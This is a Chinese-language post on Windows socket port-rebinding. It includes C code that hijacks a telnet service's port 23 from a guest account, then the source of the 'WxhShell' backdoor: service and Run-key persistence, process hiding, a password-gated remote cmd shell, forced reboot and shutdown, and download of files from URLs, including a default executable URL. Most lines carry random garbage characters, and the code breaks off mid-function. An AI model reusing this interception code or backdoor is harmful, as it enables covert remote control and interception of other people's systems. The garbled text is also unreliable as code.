在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
xZ9:9/Vg s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
&oS$< YzI;) saddr.sin_family = AF_INET;
.9qK88fU R !SQcV' saddr.sin_addr.s_addr = htonl(INADDR_ANY);
e /JQ #A WVy'f|3; bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~hLan&T @dDeOnF 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
pFd8p@m_2 )S)L9('IxT 这意味着什么?意味着可以进行如下的攻击:
3`HK^((o +tqErh?Al 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
#dA$k+3 vjGQ! xF 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
WVbrbs4 Z .6dL 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
7Gc{&hp* \c}(rqT 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
dw
bR,K Q6@<7E]y 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Wp=3heCa6 $RaN@& Wm 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
2d !'9mA %t9C 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
86r5!@WN %fqR #include
Z'JS@dV #include
pN%&`]Wev #include
$<^t][{ #include
Dm>"c;2 DWORD WINAPI ClientThread(LPVOID lpParam);
IU%|K~_n int main()
NI >%v {
4>hHUz[_ WORD wVersionRequested;
aLJm%uW6m& DWORD ret;
g{65 QP WSADATA wsaData;
@X2*O9 BOOL val;
<>cS@V5j SOCKADDR_IN saddr;
,kN;d}bg SOCKADDR_IN scaddr;
:]^e-p!z int err;
k9^Hmhjw SOCKET s;
-u2i"I730 SOCKET sc;
'$K E=Jy int caddsize;
>H2`4]4] HANDLE mt;
~Iu! B
Y DWORD tid;
ggr wVersionRequested = MAKEWORD( 2, 2 );
\hB BG8=& err = WSAStartup( wVersionRequested, &wsaData );
<uH8Fivb if ( err != 0 ) {
+K57. n{ printf("error!WSAStartup failed!\n");
_u`YjzK return -1;
Mqf Ns<2 }
^mS |ff saddr.sin_family = AF_INET;
'y8{,R4C kI{DxuTad //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
4q$~3C[ `@]s[1?f saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
[I $+wWW_ saddr.sin_port = htons(23);
-Mt
5< s if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
hvd}l8 {
tT$OnZu& printf("error!socket failed!\n");
gV_/t+jI return -1;
]T4/dk&|o^ }
(!os&/", val = TRUE;
(B7G'h.? //SO_REUSEADDR选项就是可以实现端口重绑定的
f-=\qSo if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
OG,P"sv {
I$n=>s printf("error!setsockopt failed!\n");
${+u-Wfau return -1;
c8qr-x1HG }
!liV Y] //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
30Q
p^)K //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
:QCL9QZ' //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
^E
!v D #x%'U}sF if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
90}{4&C.^ {
QFyL2Xes/ ret=GetLastError();
mCtS_"W printf("error!bind failed!\n");
YdY-Jg Xm return -1;
R`?l.0 }
B~Q-V&@o listen(s,2);
"(koR Q while(1)
) "#' {
'm%{Rz>j caddsize = sizeof(scaddr);
_B4&Fb. //接受连接请求
cw;wv+|k sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
prBLNZp if(sc!=INVALID_SOCKET)
)vr@:PE {
0bNvmZ$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
I0=_=aZO( if(mt==NULL)
Z5{a7U4z_ {
jXcJ/g(X3 printf("Thread Creat Failed!\n");
k1 5vs break;
&{iC:zp }
fSh5u/F! }
]wQ!ZG?)
CloseHandle(mt);
v1h(_NLI! }
sE9FT#iE closesocket(s);
8WP>u8& WSACleanup();
$o6/dEKQ return 0;
Ur j*V0^ }
C3AWXO ^ DWORD WINAPI ClientThread(LPVOID lpParam)
2`yhxO {
x"W~m.y$h SOCKET ss = (SOCKET)lpParam;
K
+7 SOCKET sc;
H/8^Fvd unsigned char buf[4096];
VFT@Ic#] SOCKADDR_IN saddr;
WSThhI long num;
g14*6O: DWORD val;
&9k~\;x DWORD ret;
2FcL-? //如果是隐藏端口应用的话,可以在此处加一些判断
NgNGq\! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
95 ;{ms[ saddr.sin_family = AF_INET;
Jx*cq;`Vee saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
B|(g? saddr.sin_port = htons(23);
6|97;@94 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0V%c%]PH {
;yH>A ;,K% printf("error!socket failed!\n");
:I"CQ
C[Z return -1;
E}^V@ :j> }
k(Yz2 val = 100;
xh6(~'$ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
=;Id["+ {
K2m>D=w ret = GetLastError();
AZ:7_4jz return -1;
n
`j._G
}
~{x1/eH if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~% hdy@ {
*miG< ret = GetLastError();
[|\6AIoS return -1;
GR,2^]<{ }
,(jJOFf if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
o7y<Zd`Bj {
",r
v%i2 f printf("error!socket connect failed!\n");
`RTxc closesocket(sc);
tZxx#v` closesocket(ss);
-oD,F
$Rb return -1;
Bz+oMN#XJ }
G,8mFH while(1)
QE<Z@/V*a {
?pL|eS7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ulR yt^bx| //如果是嗅探内容的话,可以再此处进行内容分析和记录
.EYL //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
?o<vmIge num = recv(ss,buf,4096,0);
z$ ^d_) if(num>0)
So5/n7 send(sc,buf,num,0);
7o4E_ .* else if(num==0)
O{ :{P5 break;
Y A.&ap num = recv(sc,buf,4096,0);
DJ ru|2 if(num>0)
B<W}:>3 send(ss,buf,num,0);
+'H[4g` else if(num==0)
X[z;P!U break;
~z^l~Vyg? }
N=mvr&arP closesocket(ss);
Z;+,hR (( closesocket(sc);
!~^2Mu(X return 0 ;
y"?`MzcJ0 }
88Pt"[{1 jAQ{H s>9I#_4] ==========================================================
L03I:IJ
K^{j$ 下边附上一个代码,,WXhSHELL
Aez2n(yac vuQA-w7 ==========================================================
hB?#b`i^ ;NP-tA) #include "stdafx.h"
0jp].''RK\ AArLNXzVW #include <stdio.h>
DpHubqWz #include <string.h>
LP3#f{U #include <windows.h>
H )X[%+ #include <winsock2.h>
at>_EiS #include <winsvc.h>
dJ"44Wu+J #include <urlmon.h>
o!xCM:+J g}9,U&$]y #pragma comment (lib, "Ws2_32.lib")
|:)Bo<8 #pragma comment (lib, "urlmon.lib")
o HK HB9"T5Pd* #define MAX_USER 100 // 最大客户端连接数
&0 QUObK #define BUF_SOCK 200 // sock buffer
gD$&OkH #define KEY_BUFF 255 // 输入 buffer
osc8;B/ PpRS4*nR #define REBOOT 0 // 重启
G>~/ #define SHUTDOWN 1 // 关机
1I;q@g0 XRaGV~ #define DEF_PORT 5000 // 监听端口
F'~r?D l6zAMyau5 #define REG_LEN 16 // 注册表键长度
%
:G78. #define SVC_LEN 80 // NT服务名长度
`=Mk6$%Cs F%L"Q>aHW // 从dll定义API
Eu|/pH=: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
fMwF|; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
q~>!_q]FE typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.J.}}"+U typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
:7@[=n 8hV]t'/; // wxhshell配置信息
F,YPIl struct WSCFG {
TJ)Nr*U3_ int ws_port; // 监听端口
[,bJKz)a char ws_passstr[REG_LEN]; // 口令
h`Jc%6o int ws_autoins; // 安装标记, 1=yes 0=no
#h.N#{9 char ws_regname[REG_LEN]; // 注册表键名
7$7|~k char ws_svcname[REG_LEN]; // 服务名
,WdSJ BK'a char ws_svcdisp[SVC_LEN]; // 服务显示名
+s}!+I8P char ws_svcdesc[SVC_LEN]; // 服务描述信息
D[W`
q#W char ws_passmsg[SVC_LEN]; // 密码输入提示信息
JKKp5~_~ int ws_downexe; // 下载执行标记, 1=yes 0=no
\Vv)(/q { char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
4=MVn char ws_filenam[SVC_LEN]; // 下载后保存的文件名
'4{@F~fu ~vP_c(8f };
f*@
:,4@ qX&+ // default Wxhshell configuration
.0nT*LF struct WSCFG wscfg={DEF_PORT,
9u~C?w "xuhuanlingzhe",
BTsvL>Wy 1,
Qc33CA "Wxhshell",
9X[378f+( "Wxhshell",
0MT?}D&TL "WxhShell Service",
j gV^{8qG "Wrsky Windows CmdShell Service",
s"7FmJ\7rw "Please Input Your Password: ",
h-.^*=]R6 1,
D~qi6@Ga "
http://www.wrsky.com/wxhshell.exe",
`B?+1Gv "Wxhshell.exe"
@MQfeM-@ };
|yNyk7~ EAY+#>L* // 消息定义模块
q2k}bb + char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
-X *.scw char *msg_ws_prompt="\n\r? for help\n\r#>";
!'\(OFv9Im char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
?:q"qwt$F char *msg_ws_ext="\n\rExit.";
0r@LA|P char *msg_ws_end="\n\rQuit.";
3{H!B&sb char *msg_ws_boot="\n\rReboot...";
,>g(%3C char *msg_ws_poff="\n\rShutdown...";
'bv(T2d~~ char *msg_ws_down="\n\rSave to ";
HH*,Oe 7d{xXJ- char *msg_ws_err="\n\rErr!";
vU/sQt8 char *msg_ws_ok="\n\rOK!";
( 3,7 X:FyNUa char ExeFile[MAX_PATH];
,:.8s>+i int nUser = 0;
AB!({EIi HANDLE handles[MAX_USER];
E=v4|/['N int OsIsNt;
ABEEJQ 4&]NC2I SERVICE_STATUS serviceStatus;
GNG.N)q#C SERVICE_STATUS_HANDLE hServiceStatusHandle;
: Q,O: Z(E.F,k // 函数声明
bz&9]%S< int Install(void);
,0L< wa int Uninstall(void);
11$v~<M int DownloadFile(char *sURL, SOCKET wsh);
84(jg P int Boot(int flag);
1_~'?'&^ void HideProc(void);
7Aw <: int GetOsVer(void);
54JI/!a int Wxhshell(SOCKET wsl);
^[HX#JJ~ void TalkWithClient(void *cs);
9 Up>e int CmdShell(SOCKET sock);
I
tn?''~; int StartFromService(void);
gi
A(VUwI> int StartWxhshell(LPSTR lpCmdLine);
p8y<:8I >03JQe_#*L VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
"Q23s" VOID WINAPI NTServiceHandler( DWORD fdwControl );
I#yd/d5^ Erl@]P4 // 数据结构和表定义
WsM/-P1Y SERVICE_TABLE_ENTRY DispatchTable[] =
BD ,3JDqT {
k/xNqN( {wscfg.ws_svcname, NTServiceMain},
zHj_q%A {NULL, NULL}
V[|k:($ };
&kOb#\11u (i'wa6[E8 // 自我安装
/Hc0~D4|x int Install(void)
T /7[hj {
7`X9s~B char svExeFile[MAX_PATH];
B415{ HKEY key;
H%c{ }F strcpy(svExeFile,ExeFile);
DB1Y`l LD5E // 如果是win9x系统,修改注册表设为自启动
RA62Z&W3 if(!OsIsNt) {
XG6UV(' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
PDh1*bf{u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wa9{Q}wSa RegCloseKey(key);
;/nR[sibN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
X?"Ro`S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Z$@ XMq! RegCloseKey(key);
Sytx9`G 5 return 0;
I=`efc]T }
!FnH; }
2TC7${^9}J }
UUql"$q else {
#^/&fdK~A Eh;~y*k\ // 如果是NT以上系统,安装为系统服务
mCpoaGV_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
)6zwprH! if (schSCManager!=0)
HaamLu {
65A>p:OO SC_HANDLE schService = CreateService
e.g$|C^$m (
=mk7'A>l schSCManager,
80M4~'3 wscfg.ws_svcname,
KK*"s^L wscfg.ws_svcdisp,
w4+bzdZ SERVICE_ALL_ACCESS,
kjW`k?'s SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
IF*kLl? SERVICE_AUTO_START,
hE/y"SP3 SERVICE_ERROR_NORMAL,
I-q@@!= svExeFile,
#P6;-d@a NULL,
{=d\t<p*n NULL,
58My6(5y NULL,
<BN)>NqM NULL,
D9&FCCiUE NULL
aI8K*D )@ );
`Uw^,r if (schService!=0)
yyHr. C {
B6Tn8@O CloseServiceHandle(schService);
Zt[1RMO CloseServiceHandle(schSCManager);
WYE[H9x1? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
MhB kr{8 strcat(svExeFile,wscfg.ws_svcname);
8YBsYKC if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
akQtre`5sd RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
uEuK1f` RegCloseKey(key);
'm"H*f return 0;
!-4pr[C }
C`x>)wm: }
7b T5-=.
CloseServiceHandle(schSCManager);
m5LP~Gb
}
DI!l.w5P_ }
nyPA`)5F0 GRj{*zs return 1;
gGdZ}9 }
S*CRVs { l LUZM // 自我卸载
#,qikKjt2 int Uninstall(void)
>[Q(!Ai {
5,qfr!hN, HKEY key;
4S.%y7d\ y#Ch /Jg?| if(!OsIsNt) {
I)O-i_}L&K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
c Ew/F0 RegDeleteValue(key,wscfg.ws_regname);
{N;XjV1x RegCloseKey(key);
5kJ>pb$/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Md[nlz RegDeleteValue(key,wscfg.ws_regname);
?(U>
)SvF RegCloseKey(key);
37!}8 return 0;
5NeEDY2%# }
7IZ(3B<87t }
\aT._'=M+ }
"$:nz} else {
%-T]!3"n WohK,<Or SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
hgKs[ySo,3 if (schSCManager!=0)
OH*[ {
m.EWYO0XQ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
m(Bv}9 if (schService!=0)
})bTQj7 {
0 x"3 if(DeleteService(schService)!=0) {
;Z.}~d6>! CloseServiceHandle(schService);
F+L q CloseServiceHandle(schSCManager);
g >-iBxml return 0;
|vWx[=`o }
*+qXXCA CloseServiceHandle(schService);
G*wn[o(^j }
kG,6;aVZ8 CloseServiceHandle(schSCManager);
u 8N+ht@ }
fX} dh9 }
XX}RbE#4 }
"y{d@ return 1;
94|BSxc }
n&[U/`o -_pI:K[ // 从指定url下载文件
m2<sVTN`^ int DownloadFile(char *sURL, SOCKET wsh)
0R* {
-oe&1RrdVg HRESULT hr;
"W:'cIw char seps[]= "/";
zc,fJM char *token;
G*Z4~-E4* char *file;
yb1A(~ char myURL[MAX_PATH];
-@b&qi7&S char myFILE[MAX_PATH];
!s/ij'T +V4BJ/H strcpy(myURL,sURL);
7=N=J<]pl token=strtok(myURL,seps);
x2ln$dSy7 while(token!=NULL)
y4$UPLm {
KOv
a r0 file=token;
%?J\P@ token=strtok(NULL,seps);
k[R/RhHQ, }
]^Z7w`=%5 L;I.6<K. GetCurrentDirectory(MAX_PATH,myFILE);
a"&@G=M@d strcat(myFILE, "\\");
V=I au_ strcat(myFILE, file);
yc8FEn!)& send(wsh,myFILE,strlen(myFILE),0);
#M&rmKv)g send(wsh,"...",3,0);
%gSqc
}v* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
T D].*9 if(hr==S_OK)
I>k3X~cG return 0;
1eZ">,F6< else
=H.l/'/Z return 1;
)TJz'J\* S&}7jRH1 }
J4 .C"v0a + _rjA_ // 系统电源模块
^*"&e\+p int Boot(int flag)
Y}7'OM {
.21%~"dxJ HANDLE hToken;
ZZA!Y9ia2 TOKEN_PRIVILEGES tkp;
xY(+[T!OF ,w,>pO'[ if(OsIsNt) {
B]ul~FX OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
oD4NQR LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
/p~"?9b[ i tkp.PrivilegeCount = 1;
okoD26tK tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
xyj)W AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
vC E$)z'" if(flag==REBOOT) {
Q2cF++Q1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
D-9zg\\'` return 0;
R[LVx-e7' }
QG?7L_I else {
q@F"fjWBr if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
5#g<L ~ return 0;
\NhCu$' }
/|t
vGC.# }
Y'i0=w6G else {
!CtY.Lp if(flag==REBOOT) {
0aQtJ0e16 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
4A^hP![c#] return 0;
sSd }
@g9j+DcU else {
<*0MD6$5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
V"%2T z return 0;
}oYR.UH }
aO.'(kk8 }
1iS9f~ tirw{[X0n return 1;
Vm'ReH }
j8?$Hk b;]'Bo0K // win9x进程隐藏模块
{-^>)
iJqt void HideProc(void)
C@pDX>~2=b {
-kES]P?2 /AJ^wY HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
uQ&&?j if ( hKernel != NULL )
l6xC'c,jg {
K).X=2gjY pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
^wb -s ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
/ Zz2=gDY FreeLibrary(hKernel);
|?s%8c'w= }
EYGJDv(S
&
?/h5< return;
on*?O O' }
6TfL|W< XT{1!I( // 获取操作系统版本
\b.2f+;3 int GetOsVer(void)
< t>N(e {
g]$>G0E`oD OSVERSIONINFO winfo;
3, ,Z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
\VHi GetVersionEx(&winfo);
Y4@~NCU/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}O2hhh_ return 1;
(oq(-Wv else
jV:U% return 0;
UbC)XiO }
RK'3b/T v6s8 p // 客户端句柄模块
?U|~h1
int Wxhshell(SOCKET wsl)
5y=X?hF~) {
4mshB SOCKET wsh;
|YZ`CN<
struct sockaddr_in client;
TQ=\l*R(A DWORD myID;
cJ!wZT`
3WPMS/ while(nUser<MAX_USER)
,>{4*PM( {
y>~=o9J_u int nSize=sizeof(client);
p*Q"<@n wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
rRT9)wDa if(wsh==INVALID_SOCKET) return 1;
JB+pd_>5 of+$TKQNpN handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
bGK&W;Myk if(handles[nUser]==0)
U%gP2]t%cs closesocket(wsh);
V }8J&(\ else
*>_:E6) nUser++;
rZJp>Q)s }
C!qW:H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
71K6] ~< v{JCEb&wN return 0;
Ao{wd1 }
Oo7n_h1 QR4v6*VpD // 关闭 socket
"ajZ&{Z void CloseIt(SOCKET wsh)
!Toq~,a8? {
zc/S closesocket(wsh);
NNe'5q9 nUser--;
v]VIUVd ExitThread(0);
+BzKO > }
? _HTOOa W!IK>IW" // 客户端请求句柄
tQ`tHe void TalkWithClient(void *cs)
`awk@ {
_9L2JN$R6 N66jFRA;x SOCKET wsh=(SOCKET)cs;
L0+@{GP? char pwd[SVC_LEN];
2a?
d:21 B char cmd[KEY_BUFF];
dr9I+c7u char chr[1];
)}paQmy# int i,j;
3*8#cSQ/6o E(u[? while (nUser < MAX_USER) {
@Chj0wWZ> S;|%'Sn|j9 if(wscfg.ws_passstr) {
T( ;BEyc? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.'X$SF` //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=q6yb@ //ZeroMemory(pwd,KEY_BUFF);
!_x-aro3< i=0;
-Ep-v4} while(i<SVC_LEN) {
pdtK3Pf 2H]&3kM3X // 设置超时
A`OU}'v?L fd_set FdRead;
V]vk9M2q[l struct timeval TimeOut;
,j5fzA FD_ZERO(&FdRead);
@<alWBS FD_SET(wsh,&FdRead);
Cs*u{O TimeOut.tv_sec=8;
.5ingB3% TimeOut.tv_usec=0;
:+[q` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
V2.MZ9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Mb$&~! 0|4XV{\qT$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
$9hOWti pwd
=chr[0]; (U|W=@8`
if(chr[0]==0xd || chr[0]==0xa) { "J[Cr m
pwd=0; yq;gBIiZ
break; yYF80mnJz
} }1(F~6RH
i++; ri\r%x
} B d\p!f<
F;MFw2G
// 如果是非法用户,关闭 socket tSQ>P -O
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n{UB^-}5
} nq_sbli
5ue{&z
@T
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N^`F_R1Z
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'z+8;g.ekO
ux-Fvwoh
while(1) { &|gn%<^
pT[C[h:
ZeroMemory(cmd,KEY_BUFF); rGq~e|.O3
&WsDYov?
// 自动支持客户端 telnet标准 TQnMPELh"
j=0; <L5[#V_
while(j<KEY_BUFF) { Zx`hutCv
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ym!Ia&n
cmd[j]=chr[0]; (^057
if(chr[0]==0xa || chr[0]==0xd) { 5N '
QG<jE
cmd[j]=0; E#_}y}7JY
break; !@ bN
} K4l,YR;r
j++; 8tPq5i
} 4d6F4G4U
cty.)e=
// 下载文件 HfmTk5|/
if(strstr(cmd,"http://")) { $7PFos%@
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,=z8aiUu
if(DownloadFile(cmd,wsh)) dr:)+R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &HW%0lTs%
else \!s0VEE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ku&0bXP
} }4ta#T Ea
else { %.<w8ag
w,JB`jS)/
switch(cmd[0]) { O2A Z|[*I
:2
// 帮助 R+, tn,<<
case '?': { *gZ4Ub|O
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rWSw1(sAA
break; _X;5ORH"
} m", $M>
// 安装 ^9"|tWf6O
case 'i': { ae#7*B
if(Install()) Fc42TH
p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k,b(MAiQ0
else UGr7,+N&w
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3P'.)=}
break; 9k2HP]8=[{
} N.BD]_C
// 卸载 )SUT+x(DU
case 'r': { uVOOw&q_
if(Uninstall()) )Q(tryiSi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Bc/@.Q'
else RH>b,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q_LPLmM
break; }=7tGqfw
} c?b?x
6 2
// 显示 wxhshell 所在路径 S1 %{/w
case 'p': { jcFh2
char svExeFile[MAX_PATH]; Yq<D(F#qx
strcpy(svExeFile,"\n\r"); j:$2,?|5
strcat(svExeFile,ExeFile); nN/v7^^
send(wsh,svExeFile,strlen(svExeFile),0); ~"brfjd|
break; NfS0yQPx
} 6Z|/M6f
// 重启 uZ%b6+(
case 'b': { E{Y0TZ+
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j08|zUe
if(Boot(REBOOT)) %|oY8;0|A>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w0tlF:Eg
else { eJ$?T7aUf
closesocket(wsh); BeaX 0#\
ExitThread(0); Hfm4
} E^#|1Kpq
break; NZ9`8&93
} W{ @lt}
// 关机 ;^O^&<
case 'd': { 9j$
OU@N
8
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); htlsU*x
if(Boot(SHUTDOWN)) HSp*lHU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _(J- MCY\
else { ]Fl+^aLS
closesocket(wsh); $:/y5zi
ExitThread(0); X1#D}
} \9@*Jgpd6*
break; zO9|s}J8q
} 76$19
// 获取shell l
yO_rZT
case 's': { 6<sB
CmdShell(wsh); u%VO'}Gz
closesocket(wsh); `S{< $:D
ExitThread(0); :[|`&_D9J
break; ;oWh Tj`
} ^X"G~#v=q
// 退出 g4RkkoZ>)
case 'x': { J>]' {!+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5j{o0&=_$
CloseIt(wsh); '1=/G7g
break; )'DFDrY
} mL18FR N
// 离开 roj/GZAy"
case 'q': { Qaq{UW
send(wsh,msg_ws_end,strlen(msg_ws_end),0); m*CIbkDsZ
closesocket(wsh); Ml+.\'r
WSACleanup(); ( F0.lDZ
exit(1); 8T$:^HW
break; 7ABHgw~?8r
} j4ypXPY``!
} pc:K5 -Os
} .Z'CqBr[:
`:i|y
// 提示信息 ^dYFFKQ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |KplbU0iC
} jWUN~#p!
} 6jPaS!E
R4E0avt
return; kH-1l>":
} L.l"'=M
=
fuF]yL%
// shell模块句柄 [q9TTJ@2
int CmdShell(SOCKET sock) }I#;~|v~<
{ AG/nX?u7)t
STARTUPINFO si; *)L%pH>`
ZeroMemory(&si,sizeof(si)); 8kH'ai
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $M$oNOT}Y
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aNv6 "
PROCESS_INFORMATION ProcessInfo;
&,{cm^*
char cmdline[]="cmd"; s/`4]B;2U
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3ZC to[Y
return 0; =WJ*$j(
} EOVHTDkKf
pFGdm3pV
// 自身启动模式 8^c|9ow
int StartFromService(void) Vnv<]D
zC
{ csH1X/3ha\
typedef struct {LR?#.
{ rQj.W6w=
DWORD ExitStatus; vRn^n
DWORD PebBaseAddress; |+cyb<(V J
